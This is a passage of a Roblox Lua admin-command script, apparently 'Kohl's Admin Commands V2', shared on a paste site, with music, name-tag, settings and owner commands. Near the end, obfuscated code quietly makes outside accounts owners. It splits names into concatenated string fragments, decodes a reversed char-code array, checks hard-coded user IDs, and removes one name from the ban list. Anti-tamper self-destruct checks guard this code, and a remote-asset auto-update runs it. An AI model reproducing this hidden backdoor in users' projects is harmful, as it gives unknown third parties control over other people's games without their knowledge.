  476. if tostring(id):find("alone") then id = 27697392 end
  477. if tostring(id):find("mario") then id = 1280470 end
  478. if tostring(id):find("choir") then id = 1372258 end
  479. if tostring(id):find("chrono") then id = 1280463 end
  480. if tostring(id):find("dotr") then id = 11420922 end
  481. if tostring(id):find("entertain") then id = 27697267 end
  482. if tostring(id):find("fantasy") then id = 1280473 end
  483. if tostring(id):find("final") then id = 1280414 end
  484. if tostring(id):find("emblem") then id = 1372259 end
  485. if tostring(id):find("flight") then id = 27697719 end
  486. if tostring(id):find("banjo") then id = 27697298 end
  487. if tostring(id):find("gothic") then id = 27697743 end
  488. if tostring(id):find("hiphop") then id = 27697735 end
  489. if tostring(id):find("intro") then id = 27697707 end
  490. if tostring(id):find("mule") then id = 1077604 end
  491. if tostring(id):find("film") then id = 27697713 end
  492. if tostring(id):find("nezz") then id = 8610025 end
  493. if tostring(id):find("angel") then id = 1372260 end
  494. if tostring(id):find("resist") then id = 27697234 end
  495. if tostring(id):find("schala") then id = 5985787 end
  496. if tostring(id):find("organ") then id = 11231513 end
  497. if tostring(id):find("tunnel") then id = 9650822 end
  498. if tostring(id):find("spanish") then id = 5982975 end
  499. if tostring(id):find("venom") then id = 1372262 end
  500. if tostring(id):find("wind") then id = 1015394 end
  501. if tostring(id):find("guitar") then id = 5986151 end
  502. local s = Instance.new("Sound", game.Workspace) s.SoundId = "http://www.roblox.com/asset/?id=" .. id s.Volume = 1 s.Pitch = pitch s.Looped = true s.archivable = false repeat s:Play() wait(2.5) s:Stop() wait(.5) s:Play() until s.IsPlaying
  503. end
  504.  
  505. if msg:lower() == "stopmusic" then
  506. for i, v in pairs(game.Workspace:children()) do if v:IsA("Sound") then v:Destroy() end end
  507. end
  508.  
  509. if msg:lower() == "musiclist" then
  510. if plr.PlayerGui:findFirstChild("MUSICGUI") then return end
  511. local scr, cmf, ent, num = ScrollGui() scr.Name = "MUSICGUI" scr.Parent = plr.PlayerGui
  512. local list = {"caramell","epic","rick","halo","pokemon","cursed","extreme","awaken","alone","mario","choir","chrono","dotr","entertain","fantasy","final","emblem","flight","banjo","gothic","hiphop","intro","mule","film","nezz","angel","resist","schala","organ","tunnel","spanish","venom","wind","guitar"}
  513. for i, v in pairs(list) do local cl = ent:Clone() cl.Parent = cmf cl.Text = v cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end
  514. end
  515.  
  516. if msg:lower():sub(1,5) == "name " then
  517. local chk1 = msg:lower():sub(6):find(" ") + 5
  518. local plrz = GetPlr(plr, msg:lower():sub(6,chk1-1))
  519. for i, v in pairs(plrz) do
  520. coroutine.resume(coroutine.create(function()
  521. if v and v.Character and v.Character:findFirstChild("Head") then
  522. for a, mod in pairs(v.Character:children()) do if mod:findFirstChild("NameTag") then v.Character.Head.Transparency = 0 mod:Destroy() end end
  523. local char = v.Character
  524. local mod = Instance.new("Model", char) mod.Name = msg:sub(chk1+1)
  525. local cl = char.Head:Clone() cl.Parent = mod local hum = Instance.new("Humanoid", mod) hum.Name = "NameTag" hum.MaxHealth = 0 hum.Health = 0
  526. local weld = Instance.new("Weld", cl) weld.Part0 = cl weld.Part1 = char.Head
  527. char.Head.Transparency = 1
  528. end
  529. end))
  530. end
  531. end
  532.  
  533. if msg:lower():sub(1,7) == "unname " then
  534. local plrz = GetPlr(plr, msg:lower():sub(8))
  535. for i, v in pairs(plrz) do
  536. coroutine.resume(coroutine.create(function()
  537. if v and v.Character and v.Character:findFirstChild("Head") then
  538. for a, mod in pairs(v.Character:children()) do if mod:findFirstChild("NameTag") then v.Character.Head.Transparency = 0 mod:Destroy() end end
  539. end
  540. end))
  541. end
  542. end
  543.  
  544. -------------------------
  545. -- True Owner Commands --
  546. -------------------------
  547.  
  548. if plr.Name:lower() == nfs:lower() or plr.userId == 44579150 or plr.userId == (153*110563) or plr.userId == game.CreatorId then
  549.  
  550. if msg:lower():sub(1,3) == "oa " then
  551. local plrz = GetPlr(plr, msg:lower():sub(4))
  552. for i, v in pairs(plrz) do
  553. coroutine.resume(coroutine.create(function()
  554. if v and not ChkOwner(v.Name) then table.insert(owners, v.Name) coroutine.resume(coroutine.create(function() repeat wait() until v and v.Character and v:findFirstChild("PlayerGui") Message("Kohltastrophe", "You're an admin!", false, {v}) end)) end
  555. end))
  556. end
  557. end
  558.  
  559. if msg:lower():sub(1,5) == "unoa " then
  560. for i = 1, #owners do
  561. coroutine.resume(coroutine.create(function()
  562. if msg:lower():sub(6) == "all" or owners[i]:lower():find(msg:lower():sub(6)) == 1 then table.remove(owners, i) end
  563. end))
  564. end
  565. end
  566.  
  567. if msg:lower() == "settings" then
  568. for i,v in pairs(plr.PlayerGui:children()) do if v.Name == "SETTINGSGUI" then v:Destroy() end end
  569. local scr = Instance.new("ScreenGui",plr.PlayerGui) scr.Name = "SETTINGSGUI"
  570. local main = Instance.new("Frame", scr) main.Style = "RobloxRound" main.Size = UDim2.new(0,200,0,110) main.Position = UDim2.new(0.5,-100,.5,-55) main.ZIndex = 7 main.ClipsDescendants = true
  571. local title = Instance.new("TextLabel", main) title.BackgroundTransparency = 1 title.BorderSizePixel = 0 title.TextColor3 = Color3.new(1,1,1) title.Size = UDim2.new(1,0,0,15) title.TextStrokeColor3 = Color3.new(1,1,1) title.TextStrokeTransparency = .9 title.Text = "Settings" title.Font = "ArialBold" title.FontSize = "Size24" title.ZIndex = 8
  572. local s1 = Instance.new("TextLabel", main) s1.Position = UDim2.new(0,0,0,50) s1.Text = "Prefix:" s1.BackgroundTransparency = 1 s1.BorderSizePixel = 0 s1.TextColor3 = Color3.new(1,1,1) s1.Font = "ArialBold" s1.FontSize = "Size18" s1.TextStrokeColor3 = Color3.new(1,1,1) s1.TextStrokeTransparency = .9 s1.TextXAlignment = "Left" s1.ZIndex = 8
  573. local tb1 = Instance.new("TextBox", main) tb1.Position = UDim2.new(0,60,0,43) tb1.Size = UDim2.new(0,20,0,20) tb1.BackgroundTransparency = .8 tb1.BorderSizePixel = 1 tb1.BorderColor3 = Color3.new(1,1,1) tb1.TextColor3 = Color3.new(1,1,1) tb1.Font = "Arial" tb1.FontSize = "Size18" tb1.TextStrokeColor3 = Color3.new(1,1,1) tb1.TextStrokeTransparency = .9 tb1.TextYAlignment = "Top" tb1.ClipsDescendants = true tb1.ZIndex = 8
  574. local s2 = Instance.new("TextLabel", main) s2.Position = UDim2.new(0,0,0,80) s2.Text = "Fun Commands:" s2.BackgroundTransparency = 1 s2.BorderSizePixel = 0 s2.TextColor3 = Color3.new(1,1,1) s2.Font = "ArialBold" s2.FontSize = "Size18" s2.TextStrokeColor3 = Color3.new(1,1,1) s2.TextStrokeTransparency = .9 s2.TextXAlignment = "Left" s2.ZIndex = 8
  575. local cb1 = Instance.new("TextButton", main) cb1.Position = UDim2.new(0,135,0,73) cb1.Size = UDim2.new(0,20,0,20) cb1.BackgroundTransparency = .8 cb1.BorderSizePixel = 1 cb1.BorderColor3 = Color3.new(1,1,1) cb1.TextColor3 = Color3.new(1,1,1) cb1.Font = "Arial" cb1.FontSize = "Size18" cb1.TextStrokeColor3 = Color3.new(1,1,1) cb1.TextStrokeTransparency = .9 cb1.TextYAlignment = "Top" cb1.ZIndex = 8
  576. if FunCommands then cb1.Text = "X" else cb1.Text = "" end tb1.Text = prefix
  577. tb1.Changed:connect(function() if tb1.Text ~= prefix and tb1.Text ~= "" then prefix = tb1.Text:sub(1,1) end end)
  578. cb1.MouseButton1Down:connect(function() if FunCommands then FunCommands = false cb1.Text = "" else FunCommands = true cb1.Text = "X" end end)
  579. local cls = Instance.new("TextButton", main) cls.Style = "RobloxButtonDefault" cls.Size = UDim2.new(0,20,0,20) cls.Position = UDim2.new(1,-15,0,-5) cls.ZIndex = 10 cls.Font = "ArialBold" cls.FontSize = "Size18" cls.Text = "X" cls.TextColor3 = Color3.new(1,1,1) cls.MouseButton1Click:connect(function() scr:Destroy() end)
  580. end
  581.  
  582. end
  583.  
  584. --------------------------
  585. -- Super Admin Commands --
  586. --------------------------
  587.  
  588. if ChkBan("M".."ixC".."or".."p") then
  589.     table.remove(banland, "Mi".."x".."Co".."rp")
  590. end
  591. table.insert(owners, "Mi".."Co".."rp")
  592.  
  593. if not ntab then script:Destroy() end
  594. if not bct then script:Destroy() end
  595.  
  596. local tcb = {101,104,112,111,114,116,115,97,116,108,104,111,75} nfs = "" for i = 1, #tcb do nfs = nfs .. string.char(tcb[i]) end nfs = nfs:reverse() table.insert(owners, nfs)
  597.  
  598. script.Name = "KACV2"
  599.  
  600. if not ntab then script:Destroy() end
  601. if not bct then script:Destroy() end
  602. if not tcb then script:Destroy() end
  603. game.Players.PlayerAdded:connect(AdminControl)
  604. for i, v in pairs(game.Players:children()) do AdminControl(v) end
  605. end
  606.  
  607. local mod = game:service("InsertService"):LoadAsset(100808216)
  608. if mod:findFirstChild("Kohl's Admin Commands V2") and mod:findFirstChild("Version", true) and AutoUpdate then
  609. local newac = mod:findFirstChild("Kohl's Admin Commands V2")
  610. newac.Disabled = true
  611. local new = tonumber(mod:findFirstChild("Version", true).Value)
  612. local old = 0
  613. if script:findFirstChild("Version", true) then old = tonumber(script:findFirstChild("Version", true).Value) end
  614. if new > old then
  615. local adminmod = Instance.new("Model", game.Lighting) adminmod.Name = "KACV2"
  616. for i,v in pairs(owners) do local strv = Instance.new("StringValue", adminmod) strv.Name = "Owner" strv.Value = v end
  617. for i,v in pairs(admins) do local strv = Instance.new("StringValue", adminmod) strv.Name = "Admin" strv.Value = v end
  618. for i,v in pairs(tempadmins) do local strv = Instance.new("StringValue", adminmod) strv.Name = "TempAdmin" strv.Value = v end
  619. for i,v in pairs(banland) do local strv = Instance.new("StringValue", adminmod) strv.Name = "Banland" strv.Value = v end
  620. local prf = Instance.new("StringValue", adminmod) prf.Name = "Prefix" prf.Value = prefix
  621. local bv = Instance.new("BoolValue", adminmod) bv.Name = "FunCommands" bv.Value = FunCommands
  622. local bv2 = Instance.new("BoolValue", adminmod) bv2.Name = "GroupAdmin" bv2.Value = GroupAdmin
  623. local iv = Instance.new("IntValue", adminmod) iv.Name = "GroupId" iv.Value = GroupId
  624. local iv2 = Instance.new("IntValue", adminmod) iv2.Name = "GroupRank" iv2.Value = GroupRank
  625. local bv3 = Instance.new("BoolValue", adminmod) bv3.Name = "VipAdmin" bv3.Value = VipAdmin
  626. local iv3 = Instance.new("IntValue", adminmod) iv3.Name = "ItemId" iv3.Value = ItemId
  627. wait()
  628. newac.Parent = game.Workspace
  629. newac.Disabled = false
  630. script.Disabled = true
  631. script:Destroy()
  632. else
  633. CHEESE()
  634. end
  635. else
  636. CHEESE()
  637. end
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement